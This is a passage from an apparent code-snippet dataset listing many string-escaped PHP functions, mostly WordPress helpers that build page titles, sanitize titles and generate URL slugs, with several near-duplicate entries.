urlencode($test_string);\n // return string \n return $test_string;\n }", "function sanitize_title_with_dashes( $title, $raw_title = '', $context = 'display' ) {\n\t$title = strip_tags($title);\n\t// Preserve escaped octets.\n\t$title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---$1---', $title);\n\t// Remove percent signs that are not part of an octet.\n\t$title = str_replace('%', '', $title);\n\t// Restore octets.\n\t$title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%$1', $title);\n\n\tif (seems_utf8($title)) {\n\t\tif (function_exists('mb_strtolower')) {\n\t\t\t$title = mb_strtolower($title, 'UTF-8');\n\t\t}\n\t\t$title = utf8_uri_encode($title, 200);\n\t}\n\n\t$title = strtolower($title);\n\t$title = preg_replace('/&.+?;/', '', $title); // kill entities\n\t$title = str_replace('.', '-', $title);\n\n\tif ( 'save' == $context ) {\n\t\t// Convert nbsp, ndash and mdash to hyphens\n\t\t$title = str_replace( array( '%c2%a0', '%e2%80%93', '%e2%80%94' ), '-', $title );\n\n\t\t// Strip these characters entirely\n\t\t$title = str_replace( array(\n\t\t\t// iexcl and iquest\n\t\t\t'%c2%a1', '%c2%bf',\n\t\t\t// angle quotes\n\t\t\t'%c2%ab', '%c2%bb', '%e2%80%b9', '%e2%80%ba',\n\t\t\t// curly quotes\n\t\t\t'%e2%80%98', '%e2%80%99', '%e2%80%9c', '%e2%80%9d',\n\t\t\t'%e2%80%9a', '%e2%80%9b', '%e2%80%9e', '%e2%80%9f',\n\t\t\t// copy, reg, deg, hellip and trade\n\t\t\t'%c2%a9', '%c2%ae', '%c2%b0', '%e2%80%a6', '%e2%84%a2',\n\t\t\t// acute accents\n\t\t\t'%c2%b4', '%cb%8a', '%cc%81', '%cd%81',\n\t\t\t// grave accent, macron, caron\n\t\t\t'%cc%80', '%cc%84', '%cc%8c',\n\t\t), '', $title );\n\n\t\t// Convert times to x\n\t\t$title = str_replace( '%c3%97', 'x', $title );\n\t}\n\n\t$title = preg_replace('/[^%a-z0-9 _-]/', '', $title);\n\t$title = preg_replace('/\\s+/', '-', $title);\n\t$title = preg_replace('|-+|', '-', $title);\n\t$title = trim($title, '-');\n\n\treturn $title;\n}", "function wp_title_filter( $title, $sep ) {\n\tif ( is_feed() ) {\n\t\treturn $title;\n\t}\n\t\n\tglobal $page, $paged;\n\n\t// Add the blog name\n\t$title = get_bloginfo( 'name', 'display' ) . \" \" . $title;\n\n\t// Add the blog description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) ) {\n\t\t$title .= \" $sep $site_description\";\n\t}\n\n\t// Add a page number if necessary:\n\tif ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {\n\t\t$title .= \" $sep \" . sprintf( __( 'Pag. %s', '_s' ), max( $paged, $page ) );\n\t}\n\n\treturn $title;\n}", "public static function cleanTitle($title) {\r\n\t\r\n\t\tif(empty($title)) {\r\n\t\t\treturn $title;\r\n\t\t}\r\n\t\r\n\t\t$title = preg_replace(\"/[()\\[\\]].*/\", \"\", $title);\r\n\t\r\n\t\treturn $title;\r\n\t\r\n\t}", "function page_title()\n {\n $page = isset($_GET['page']) ? htmlspecialchars($_GET['page']) : 'Home';\n\n return ucwords(str_replace('-', ' ', $page));\n }", "function rdf_remove_title_tags( $title ) {\n return( strip_tags( $title ) );\n}", "function eme_permalink_convert ($val) {\n // called remove_accents, but we also want to replace spaces with \"-\"\n // and trim the last space. sanitize_title_with_dashes does all that\n // and then, add a trailing slash\n $val = sanitize_title_with_dashes(remove_accents($val));\n return trailingslashit($val);\n}", "function seotitle( $title )\n\t{\n\t\t$search = array(\"ä\", \"Ä\", \"ü\", \"Ü\", \"ö\", \"Ö\", \"ß\", \"€\", \"RE:-\");\n\t\t$replace = array(\"ae\", \"Ae\", \"ue\", \"Ue\", \"oe\", \"Oe\", \"ss\", \"euro\", \"\" );\n\t\t$title = str_replace($search, $replace, $title);;\n\t\t$title = preg_replace(\"/[^\\d\\w]+/\", \"-\", $title);\n\t\t$title = trim($title, \"-\");\n\t\t$title = strtolower($title);\n\t\t\n\t\treturn $title;\n\t}", "private function createSlug($title) {\n\t\t\n \t$title = str_replace(array(\"&lt;\", \"&gt;\", '&amp;', '&#039;', '&quot;','&lt;', '&gt;'), array(\"<\", \">\",'&','\\'','\"','<','>'), htmlspecialchars_decode($title, ENT_NOQUOTES));\t\t\n\t\t$title = html_entity_decode(strtolower($title));\n\t\t\n\t\t$a = array('/[âãàáä]/'\t\t\t\t\t=>'a',\n\t\t\t\t '/[ÊÈÉË]/'\t\t\t\t\t=>'e',\n\t\t\t\t '/[êèéë]/'\t\t\t\t\t=>'e',\n\t\t\t\t '/[ÎÍÌÏ]/'\t\t\t\t\t=>'i',\n\t\t\t\t '/[îíìï]/'\t\t\t\t\t=>'i',\n\t\t\t\t '/[ÔÕÒÓÖ]/'\t\t\t\t\t=>'o',\n\t\t\t\t '/[ôõòóö]/'\t\t\t\t\t=>'o',\n\t\t\t\t '/[ÛÙÚÜ]/'\t\t\t\t\t=>'u',\n\t\t\t\t '/[ûúùü]/'\t\t\t\t\t=>'u',\n\t\t\t\t '/ç/'\t\t\t\t\t\t=>'c',\n\t\t\t\t '/Ç/'\t\t\t\t\t\t=>'c',\n\t\t\t\t '/ +/'\t\t\t\t\t\t=>'-',\n\t\t\t\t '/ \\(/'\t\t\t\t\t\t=>'-',\n\t\t\t\t '/\\) /'\t\t\t\t\t\t=>'-',\n\t\t\t\t '/_+/'\t\t\t\t\t\t=>'-',\n\t\t\t\t '/\\//'\t\t\t\t\t\t=>'-',\n\t\t\t\t '/^-/'\t\t\t\t\t\t=>'',\n\t\t\t\t '/-$/'\t\t\t\t\t\t=>'',\n\t\t\t\t \"/[^a-zA-Z0-9\\\\-_.+ ]/\" \t\t=>'',\n\t\t\t\t '/-+/'\t\t\t\t\t\t=>'-'\n\t\t\t\t );\n\t\treturn preg_replace(array_keys($a), array_values($a), $title);\n\t}", "function ea_archive_title_remove_prefix( $title ) {\n\t$title_pieces = explode( ': ', $title );\n\tif( count( $title_pieces ) > 1 ) {\n\t\tunset( $title_pieces[0] );\n\t\t$title = join( ': ', $title_pieces );\n\t}\n\treturn $title;\n}", "function ld_post_title() {\r\n\techo apply_filters( 'ld_post_title', ld_get_post_title() );\r\n}", "function simpla_wp_title( $title, $sep ) {\n\tglobal $page, $paged;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the blog name\n\t// $title .= ' | '.get_bloginfo( 'name' );\n\n\t// Add the blog description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) ){\n $title .= get_bloginfo( 'name' );\n\t\t$title .= \" | $site_description \";\n }\n else{\n $title .= ' | '.get_bloginfo( 'name' );\n }\n\n\t\n\n\treturn $title;\n}", "function sanitize_title_with_dashes($title, $raw_title = '', $context = 'display')\n {\n }", "function filter_wp_title( $title ) {\n\tglobal $page, $paged;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t$site_description = get_bloginfo( 'description' );\n\n\t$filtered_title = $title . get_bloginfo( 'name' );\n\t$filtered_title .= ( ! empty( $site_description ) && ( is_front_page() ) ) ? ' | ' . $site_description: '';\n\t$filtered_title .= ( 2 <= $paged || 2 <= $page ) ? ' | ' . sprintf( __( 'Page %s' ), max( $paged, $page ) ) : '';\n\n\treturn $filtered_title;\n}", "function page_title($title = ''){\r\n\tglobal $eqdkp, $user;\r\n\t$pt_prefix\t\t= (defined('IN_ADMIN')) ? $user->lang['admin_title_prefix'] : $user->lang['title_prefix'];\r\n\t$main_title\t\t= sprintf($pt_prefix, $eqdkp->config['guildtag'], $eqdkp->config['dkp_name']);\r\n\treturn sanitize((( $title != '' ) ? $title.' - ' : '').$main_title, TAG);\r\n}", "function wt_html_widget_title( $title ) {\n\treturn wt_html_sanitize_title( $title );\n}", "function kevincodes_wp_title( $title, $sep ) {\n\tglobal $page, $paged;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the blog name\n\t$title .= get_bloginfo( 'name' );\n\n\t// Add the blog description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t$title .= \" $sep $site_description\";\n\n\t// Add a page number if necessary:\n\tif ( $paged >= 2 || $page >= 2 )\n\t\t$title .= \" $sep \" . sprintf( __( 'Page %s', 'kevincodes' ), max( $paged, $page ) );\n\n\treturn $title;\n}", "function wheels_wp_title( $title ) {\n\tif ( is_feed() ) {\n\t\treturn $title;\n\t}\n\n\t$title .= get_bloginfo( 'name' );\n\n\treturn $title;\n}", "static function crearPermalink($text) {\n $text = ucwords(strtolower(trim($text)));\n // strip all non word chars\n //$text = preg_replace('/\\W/', ' ', $text); BORRADO PORQUE NO FUNCIONABA EN PROD\n $text = preg_replace('/[^a-zA-Z0-9\\s]/', '', $text);\n // replace all white space sections with a dash\n $text = preg_replace('/\\ +/', '', $text);\n // trim dashes\n $text = preg_replace('/\\-$/', '', $text);\n $text = preg_replace('/^\\-/', '', $text);\n\n return $text;\n }", "function ridizain_wp_title( $title, $sep ) {\r\n\tglobal $page, $paged;\r\n\r\n\tif ( is_feed() )\r\n\t\treturn $title;\r\n\r\n\t// Add the blog name\r\n\t$title .= get_bloginfo( 'name' );\r\n\r\n\t// Add the blog description for the home/front page.\r\n\t$site_description = get_bloginfo( 'description', 'display' );\r\n\tif ( $site_description && ( is_home() || is_front_page() ) )\r\n\t\t$title .= \" $sep $site_description\";\r\n\r\n\t// Add a page number if necessary:\r\n\tif ( $paged >= 2 || $page >= 2 )\r\n\t\t$title .= \" $sep \" . sprintf( __( 'Page %s', 'ridizain' ), max( $paged, $page ) );\r\n\r\n\treturn $title;\r\n}", "function thrive_wp_title( $title, $sep ) {\n\t\tif ( is_feed() ) {\n\t\t\treturn $title;\n\t\t}\n\n\t\tglobal $page, $paged;\n\n\t\t// Add the blog name.\n\t\t$title .= get_bloginfo( 'name', 'display' );\n\n\t\t// Add the blog description for the home/front page.\n\t\t$site_description = get_bloginfo( 'description', 'display' );\n\t\tif ( $site_description && ( is_home() || is_front_page() ) ) {\n\t\t\t$title .= \" $sep $site_description\";\n\t\t}\n\n\t\t// Add a page number if necessary.\n\t\tif ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {\n\t\t\t$title .= \" $sep \" . sprintf( esc_html__( 'Page %s', 'thrive-nouveau' ), max( $paged, $page ) );\n\t\t}\n\n\t\treturn $title;\n\t}", "function thb_superba_wp_title( $title, $sep ) {\n\tglobal $paged, $page;\n\n\tif ( is_feed() ) {\n\t\treturn $title;\n\t}\n\n\t// Add the site name.\n\t$title .= get_bloginfo( 'name', 'display' );\n\n\t// Add the site description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) ) {\n\t\t$title = \"$title $sep $site_description\";\n\t}\n\n\t// Add a page number if necessary.\n\tif ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {\n\t\t$title = \"$title $sep \" . sprintf( __( 'Page %s', 'thb_text_domain' ), max( $paged, $page ) );\n\t}\n\n\treturn $title;\n}", "function cucina_wp_title( $title, $sep ) {\n\t\tif ( is_feed() ) {\n\t\t\treturn $title;\n\t\t}\n\n\t\tglobal $page, $paged;\n\n\t\t// Add the blog name\n\t\t$title .= get_bloginfo( 'name', 'display' );\n\n\t\t// Add the blog description for the home/front page.\n\t\t$site_description = get_bloginfo( 'description', 'display' );\n\t\tif ( $site_description && ( is_home() || is_front_page() ) ) {\n\t\t\t$title .= \" $sep $site_description\";\n\t\t}\n\n\t\t// Add a page number if necessary:\n\t\tif ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {\n\t\t\t$title .= \" $sep \" . sprintf( __( 'Page %s', 'cucina' ), max( $paged, $page ) );\n\t\t}\n\n\t\treturn $title;\n\t}", "function modifyPostTitle( $title ){\n if( is_home() || is_front_page() ) {\n $title['tagline'] = null;\n }\n\n return $title;\n}", "function nuthemes_wp_title( $title, $sep ) {\n\tglobal $page, $paged;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the blog name\n\t$title .= get_bloginfo( 'name' );\n\n\t// Add the blog description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t$title .= \" $sep $site_description\";\n\n\t// Add a page number if necessary:\n\tif ( $paged >= 2 || $page >= 2 )\n\t\t$title .= \" $sep \" . sprintf( __( 'Page %s', 'nuthemes' ), max( $paged, $page ) );\n\n\treturn $title;\n}", "function filter_login_title() { return get_option( 'blogname' ); }", "public function url_title($str)\n\t{\n\t\t$str = str_replace('.', '-', $str); // remove periods in URL string\n\t\treturn url_title($str, 'dash', TRUE);\n\t}", "function forum_link_post_processing($title){\n return mb_convert_encoding($title, 'UTF-8', 'auto');\n}", "function __l7_wp_title( $title, $sep ) {\n\t\tif ( is_feed() ) {\n\t\t\treturn $title;\n\t\t}\n\n\t\tglobal $page, $paged;\n\n\t\t// Add the blog name.\n\t\t$title .= get_bloginfo( 'name', 'display' );\n\n\t\t// Add the blog description for the home/front page.\n\t\t$site_description = get_bloginfo( 'description', 'display' );\n\t\tif ( $site_description && ( is_home() || is_front_page() ) ) {\n\t\t\t$title .= \" $sep $site_description\";\n\t\t}\n\n\t\t// Add a page number if necessary.\n\t\tif ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {\n\t\t\t$title .= \" $sep \" . sprintf( esc_html__( 'Page %s', '_l7_theme' ), max( $paged, $page ) );\n\t\t}\n\n\t\treturn $title;\n\t}", "function beans_wp_title( $title, $sep ) {\n\n\t_deprecated_function( __FUNCTION__, '1.2.0', 'wp_title()' );\n\n\tglobal $page, $paged;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the blog name.\n\t$title .= get_bloginfo( 'name' );\n\n\t// Add the blog description for the home/front page.\n\tif ( ( $site_description = get_bloginfo( 'description', 'display' ) ) && ( is_home() || is_front_page() ) )\n\t\t$title .= \" $sep $site_description\";\n\n\t// Add a page number if necessary.\n\tif ( $paged >= 2 || $page >= 2 )\n\t\t$title .= \" $sep \" . sprintf( __( 'Page %s', 'tm-beans' ), max( $paged, $page ) );\n\n\treturn $title;\n\n}", "function generate_filter_the_archive_title( $title ) {\n\t\tif ( is_category() ) {\n\t\t\t$title = single_cat_title( '', false );\n\t\t} elseif ( is_tag() ) {\n\t\t\t$title = single_tag_title( '', false );\n\t\t} elseif ( is_author() ) {\n\t\t\t/*\n\t\t\t * Queue the first post, that way we know\n\t\t\t * what author we're dealing with (if that is the case).\n\t\t\t */\n\t\t\tthe_post();\n\t\t\t$title = sprintf( '%1$s<span class=\"vcard\">%2$s</span>',\n\t\t\t\tget_avatar( get_the_author_meta( 'ID' ), 75 ),\n\t\t\t\tget_the_author()\n\t\t\t);\n\t\t\t/*\n\t\t\t * Since we called the_post() above, we need to\n\t\t\t * rewind the loop back to the beginning that way\n\t\t\t * we can run the loop properly, in full.\n\t\t\t */\n\t\t\trewind_posts();\n\t\t}\n\n\t\treturn $title;\n\n\t}", "function vnit_change_title($alias) {\r\n\t\r\n\t$alias = vnit_EncString ( $alias );\r\n\t\r\n\t$search = array ('&amp;', '&#039;', '&quot;', '&lt;', '&gt;', '&#x005C;', '&#x002F;', '&#40;', '&#41;', '&#42;', '&#91;', '&#93;', '&#33;', '&#x3D;', '&#x23;', '&#x25;', '&#x5E;', '&#x3A;', '&#x7B;', '&#x7D;', '&#x60;', '&#x7E;' );\r\n\t\r\n\t$alias = str_replace ( $search, \" \", $alias );\r\n\t\r\n\t$alias = preg_replace ( \"/([^a-z0-9-\\s])/is\", \"\", $alias );\r\n\t\r\n\t$alias = preg_replace ( \"/[\\s]+/\", \" \", $alias );\r\n\t\r\n\t$alias = preg_replace ( \"/\\s/\", \"-\", $alias );\r\n\t\r\n\t$alias = preg_replace ( '/(\\-)$/', '', $alias );\r\n\t\r\n\t$alias = preg_replace ( '/^(\\-)/', '', $alias );\r\n\t\r\n\t$alias = preg_replace ( '/[\\-]+/', '-', $alias );\r\n\t\r\n\treturn strtolower ( $alias );\r\n\r\n}", "function changeTitle($str)\n{\n\t$str = stripUnicode($str);\n\t$str = mb_convert_case($str,MB_CASE_LOWER,'utf-8');\n\t$str = trim($str);\n\t$str=preg_replace('/[^a-zA-Z0-9\\ ]/','',$str); \n\t$str = str_replace(\" \",\" \",$str);\n\t$str = str_replace(\" \",\"-\",$str);\n\treturn $str;\n}", "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "function roots_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "function fabric_wp_title($title) {\n if (is_feed()) {\n return $title;\n }\n\n $title .= get_bloginfo('name');\n\n return $title;\n}", "function prepare_episode_slug_for_url($slug)\n{\n $slug = trim($slug);\n $slug = rawurlencode($slug);\n\n // allow directories in slug\n return str_replace('%2F', '/', $slug);\n}", "function cleanTitle($params) {\n\t\tif(!$params['processedTitle']) {\n\t\t\treturn \"blank\";\n\t\t} else {\n\t\t\treturn $params['processedTitle'];\n\t\t}\n\t}", "function generateSeoTitle($seotitle)\n\t{\n\t\t$seotitle \t= str_replace(\" \",\"-\",strtolower($seotitle));\n\t\tif($seotitle!=\"\")\n\t\t{\n\t\t\t$seotitle \t= preg_replace('/-$/', '',preg_replace('/-+/', '-', preg_replace('/[^a-zA-Z0-9\\s]/', '-', $seotitle)));\t\n\t\t}\n\t\t\n\t\treturn $seotitle;\n\t}", "function html_widget_title( $title ) {\n$title = str_replace( '[', '<', $title );\n$title = str_replace( '[/', '</', $title );\n$title = str_replace( 'b]', 'b>', $title );\n$title = str_replace( 'b]', 'b>', $title );\nreturn $title;\n}", "public function filter__the_title_parts( $title ) {\n\t\tglobal $posts;\n\n\t\tif ( ! is_single() && ! is_page() || ! $this->is_supported_post_type( $posts[0]->post_type ) ) {\n\t\t\treturn $title;\n\t\t}\n\n\t\t$cmpvalues = $this->get_enabled_singular_options( $posts[0]->post_type );\n\t\tif ( ! isset( $cmpvalues['mt_seo_title'] ) || ! $cmpvalues['mt_seo_title'] ) {\n\t\t\treturn $title;\n\t\t}\n\n\t\t$mt_seo_title = (string) get_post_meta( $posts[0]->ID, 'mt_seo_title', true );\n\t\tif ( empty( $mt_seo_title ) ) {\n\t\t\treturn $title;\n\t\t}\n\n\t\t$mt_seo_title = $this->do_title_placeholder_substitutions( $title['title'], $mt_seo_title );\n\t\t$mt_seo_title = wp_strip_all_tags( $mt_seo_title );\n\n\t\t$title['title'] = $mt_seo_title;\n\t\treturn $title;\n\t}", "function hijack_title(&$text, $url, $title) {\n if (preg_match('/^\\s*<h1>(.*)<\\/h1>(.*)$/sxi', $text, $matches)) {\n $text = $matches[2];\n if (is_null($url)) {\n return '<h1>'.$matches[1].'</h1>';\n } else {\n return '<h1>'.format_link($url, $matches[1], false).'</h1>';\n }\n } else {\n if (is_null($url)) {\n return '<h1>'.html_escape($title).'</h1>';\n } else {\n return '<h1>'.format_link($url, $title).'</h1>';\n }\n }\n}", "function getUrlTitle($parser) {\n $titleArray = $parser->getTitleTags();\n \n // return if there is no title tag in the page\n if (sizeof($titleArray) == 0 || $titleArray->item(0) == NULL) return;\n \n $title = $titleArray->item(0)->nodeValue; // $title contains the title of the webpage\n $title = str_replace(\"\\n\", \"\", $title); // remove \\n from $title\n\n // don't wanna insert empty strings in database\n if ($title == \"\") return;\n\n return $title;\n}", "public function trimTitle($title) {\n $title = esc_attr($title);\n return preg_replace('/^pr(otected|ivate)\\:\\s*?/i', '', $title);\n }", "function arras_document_title() {\n\t$site_name = get_bloginfo('name');\n\t$separator = '|';\n\t\n\tif ( is_single() ) {\n $content = single_post_title('', FALSE);\n }\n elseif ( is_home() || is_front_page() ) { \n $content = get_bloginfo('description');\n }\n elseif ( is_page() ) { \n $content = single_post_title('', FALSE); \n }\n elseif ( is_search() ) { \n $content = __('Search Results for:', 'arras'); \n $content .= ' ' . esc_html(stripslashes(get_search_query()), true);\n }\n elseif ( is_category() ) {\n $content = __('Category Archives:', 'arras');\n $content .= ' ' . single_cat_title(\"\", false);;\n }\n elseif ( is_tag() ) { \n $content = __('Tag Archives:', 'arras');\n $content .= ' ' . arras_tag_query();\n }\n elseif ( is_404() ) { \n $content = __('Not Found', 'arras'); \n }\n else { \n $content = get_bloginfo('description');\n }\n\n if (get_query_var('paged')) {\n $content .= ' ' .$separator. ' ';\n $content .= 'Page';\n $content .= ' ';\n $content .= get_query_var('paged');\n }\n\n if($content) {\n if ( is_home() || is_front_page() ) {\n $elements = array(\n 'site_name' => $site_name,\n 'separator' => $separator,\n 'content' => $content\n );\n }\n else {\n $elements = array(\n 'content' => $content\n );\n } \n } else {\n $elements = array(\n 'site_name' => $site_name\n );\n }\n\n // Filters should return an array\n $elements = apply_filters('arras_doctitle', $elements);\n\t\n // But if they don't, it won't try to implode\n if(is_array($elements)) {\n $doctitle = implode(' ', $elements);\n }\n else {\n $doctitle = $elements;\n }\n \n\techo $doctitle;\n}", "function montheme_document_title_parts($title)\n{\n\tunset($title['tagline']);\n\t$title['demo'] = 'Emma&Abdiel site';\n\treturn $title;\n}", "function twentytwelve_wp_title( $title, $sep ) {\n\tglobal $paged, $page;\n\n\t// don't touch feeds, see: http://core.trac.wordpress.org/ticket/21233#comment:9\n\tif ( is_feed() )\n\t\treturn $title;\n\t\t\n\t// add the URL.\n\t$title .= get_theme_mod( 'site-title-slug' );\n\t\t\n\t// leave it at that for the homepage\n\tif ( is_front_page() ) {\n\t\treturn $title;\n\t}\n\n\t// add a page number if necessary\n\tif ( $paged >= 2 || $page >= 2 )\n\t\t$title = \"$title $sep \" . sprintf( 'Page %s', max( $paged, $page ) );\n\n\treturn $title;\n}", "function devlyTruncateTitle($limit) {\n\n\tglobal $post;\n\n\t$title = get_the_title($post->ID);\n\t\n\tif (mb_strlen($title, 'utf8') > $limit) {\n\t\n\t\t$truncHere \t= strrpos(substr($title, 0, $limit), ' ');\t \n\t\t$title \t\t= substr($title, 0, $truncHere) . '';\t\n\t\t\n\t}\n\t\n\techo $title;\n\n}", "public function hyphenate($title)\n {\n $title = strtolower(str_replace(array(\"%20\", \" \"), '-', $title));\n $title = preg_replace('/[^a-z\\-]/i','',$title);\n return $title;\n }", "function get_anchor( $title ) {\n $unwanted_array = array( 'Š'=>'S', 'š'=>'s', 'Ž'=>'Z', 'ž'=>'z', 'À'=>'A', 'Á'=>'A', 'Â'=>'A', 'Ã'=>'A', 'Ä'=>'A', 'Å'=>'A', 'Æ'=>'A', 'Ç'=>'C', 'È'=>'E', 'É'=>'E',\n 'Ê'=>'E', 'Ë'=>'E', 'Ì'=>'I', 'Í'=>'I', 'Î'=>'I', 'Ï'=>'I', 'Ñ'=>'N', 'Ò'=>'O', 'Ó'=>'O', 'Ô'=>'O', 'Õ'=>'O', 'Ö'=>'O', 'Ø'=>'O', 'Ù'=>'U',\n 'Ú'=>'U', 'Û'=>'U', 'Ü'=>'U', 'Ý'=>'Y', 'Þ'=>'B', 'ß'=>'Ss', 'à'=>'a', 'á'=>'a', 'â'=>'a', 'ã'=>'a', 'ä'=>'a', 'å'=>'a', 'æ'=>'a', 'ç'=>'c',\n 'è'=>'e', 'é'=>'e', 'ê'=>'e', 'ë'=>'e', 'ì'=>'i', 'í'=>'i', 'î'=>'i', 'ï'=>'i', 'ð'=>'o', 'ñ'=>'n', 'ò'=>'o', 'ó'=>'o', 'ô'=>'o', 'õ'=>'o',\n 'ö'=>'o', 'ø'=>'o', 'ù'=>'u', 'ú'=>'u', 'û'=>'u', 'ý'=>'y', 'þ'=>'b', 'ÿ'=>'y' );\n $title = strtr( $title, $unwanted_array );\n $title = str_replace(\" \", \"-\", $title);\n $title = str_replace(\"'\", \"-\", $title);\n $title = strtolower($title);\n $title = substr($title, 0, 50);\n return $title;\n }", "function as_slug_this($content) {\n\t\treturn preg_replace(\"/-$/\",\"\",preg_replace('/[^a-z0-9]+/i', \"-\", strtolower($content)));\n\t}", "static function derive_title(WP_Post $p): string {\r\n\r\n\t // Hack one together from posted data\r\n\t return trim(MJKVI_ACF_AW::get_posted(MJKVI_ACF_AW::name));\r\n }", "function sanitize_name( $name ) {\r\n\t\t$name = sanitize_title( $name ); // taken from WP's wp-includes/functions-formatting.php\r\n\t\t$name = str_replace( '-', '_', $name );\r\n\r\n\t\treturn $name;\r\n\t}", "function page_title()\n{\n $page = isset($_GET['page']) ? htmlspecialchars($_GET['page']) : 'Home';\n\n echo ucwords(str_replace('-', ' ', $page));\n}", "function slug_to_title( $slug = '' ) {\n\t$title = '';\n\n\tif ( \\is_string( $slug ) ) {\n\t\t$title = \\str_replace( '-', ' ', $slug );\n\t\t$title = \\ucwords( $title );\n\t}\n\n\treturn $title;\n}", "function slug($value){\n//the pre_quote function is just used to quote regular expressions so that it doesn't get mixed up and result in an error\n //remove all characters not in the list(that what this means when we include \"empty string\")\n $value = preg_replace('![^'.preg_quote('_').'\\pL\\pN\\s]+!u','',mb_strtolower($value));\n\n //replace underscore with a dash\n $value = preg_replace('!['.preg_quote('_').'\\s]+!u','-',$value);\n\n //remove whitespace with the trim function\n //'-' was added as an argument so that the trim function does not remove it too\n\n return trim($value, '-');\n\n}", "function strip_url_console($name)\n\t{\n\t\t/*$name = trim($name);\n\t\t$name = preg_replace(\"/[^0-9a-zA-Z-]+/\", \"\", $name);\n\t\t$name = str_replace(\"---\",\"-\",$name);\n\t\t$name = str_replace(\"----\",\"-\",$name);\n\t\t$name = str_replace(\"--\",\"-\",$name);\n\t\treturn $name;*/\n\t\t$name = trim($name);\n\t\t$name = str_replace(\" \",\"-\",$name);\n\t\t$name = str_replace(\"_\",\"-\",$name);\n\t\t$name = preg_replace(\"/[^0-9a-zA-Z-]+/\", \"\", $name);\n\t\t$name = str_replace(\"----\",\"-\",$name);\n\t\t$name = str_replace(\"---\",\"-\",$name);\n\t\t$name = str_replace(\"--\",\"-\",$name);\n\t\t$name = str_replace(\".\",\"-\",$name);\n\t\treturn strtolower($name);\n\t}", "public function meta_site_name()\n\t{\n\t\treturn htmlspecialchars( strip_tags( $this->cfg()->meta_title() ), ENT_QUOTES );\n\t}", "function cheffism_title_filter( $title, $sep ) {\n global $page, $paged;\n\n if ( is_feed() )\n return $title;\n\n // Add a page number if necessary:\n if ( $paged >= 2 || $page >= 2 )\n $title = $title . $sep . sprintf( __( 'Page %s', 'cheffism' ), max( $paged, $page ) );\n\n return $title;\n}", "function bastosbertolaccini_wp_title( $title, $sep ) {\n\tglobal $paged, $page;\n\n\tif ( is_feed() )\n\t\treturn $title;\n\n\t// Add the site name.\n\t$title .= get_bloginfo( 'name', 'display' );\n\n\t// Add the site description for the home/front page.\n\t$site_description = get_bloginfo( 'description', 'display' );\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\t\t$title = \"$title $sep $site_description\";\n\n\t// Add a page number if necessary.\n\tif ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )\n\t\t$title = \"$title $sep \" . sprintf( __( 'Page %s', 'bastosbertolaccini' ), max( $paged, $page ) );\n\n\treturn $title;\n}", "function twentyten_filter_wp_title( $title, $separator ) {\n\n\tif ( is_feed() )\n\n\t\treturn $title;\n\n\n\n\t// The $paged global variable contains the page number of a listing of posts.\n\n\t// The $page global variable contains the page number of a single post that is paged.\n\n\t// We'll display whichever one applies, if we're not looking at the first page.\n\n\tglobal $paged, $page;\n\n\n\n\tif ( is_search() ) {\n\n\t\t// If we're a search, let's start over:\n\n\t\t$title = sprintf( __( 'Search results for %s', 'twentyten' ), '\"' . get_search_query() . '\"' );\n\n\t\t// Add a page number if we're on page 2 or more:\n\n\t\tif ( $paged >= 2 )\n\n\t\t\t$title .= \" $separator \" . sprintf( __( 'Page %s', 'twentyten' ), $paged );\n\n\t\t// Add the site name to the end:\n\n\t\t$title .= \" $separator \" . get_bloginfo( 'name', 'display' );\n\n\t\t// We're done. Let's send the new title back to wp_title():\n\n\t\treturn $title;\n\n\t}\n\n\n\n\t// Otherwise, let's start by adding the site name to the end:\n\n\t$title .= get_bloginfo( 'name', 'display' );\n\n\n\n\t// If we have a site description and we're on the home/front page, add the description:\n\n\t$site_description = get_bloginfo( 'description', 'display' );\n\n\tif ( $site_description && ( is_home() || is_front_page() ) )\n\n\t\t$title .= \" $separator \" . $site_description;\n\n\n\n\t// Add a page number if necessary:\n\n\tif ( $paged >= 2 || $page >= 2 )\n\n\t\t$title .= \" $separator \" . sprintf( __( 'Page %s', 'twentyten' ), max( $paged, $page ) );\n\n\n\n\t// Return the new title to wp_title():\n\n\treturn $title;\n\n}", "function harbour_city_wp_title( $title, $sep ) {\n global $paged, $page;\n\n if ( is_feed() )\n return $title;\n\n // Add the site name.\n $title .= get_bloginfo( 'name' );\n\n // Add the site description for the home/front page.\n $site_description = get_bloginfo( 'description', 'display' );\n if ( $site_description && ( is_home() || is_front_page() ) )\n $title = \"$title $sep $site_description\";\n\n // Add a page number if necessary.\n if ( $paged >= 2 || $page >= 2 )\n $title = \"$title $sep \" . sprintf( __( 'Page %s', 'harbour-city' ), max( $paged, $page ) );\n\n return $title;\n}", "private function format_permalink 